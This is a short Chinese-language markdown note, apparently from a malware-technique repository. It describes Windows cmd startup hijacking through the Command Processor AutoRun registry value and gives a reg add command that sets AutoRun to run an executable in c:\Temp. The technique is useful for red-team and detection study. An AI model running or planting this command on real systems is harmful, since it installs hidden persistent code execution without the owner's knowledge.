Malware-Note/persistence/uncatelogued/command-processor.md

332 B
Raw Permalink Blame History

cmd启动劫持

在cmd启动时会去注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor”中查看是否有AutoRun的健值如果有则会运行其中的内容

命令行:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\Temp\qwqdanchun.exe" /f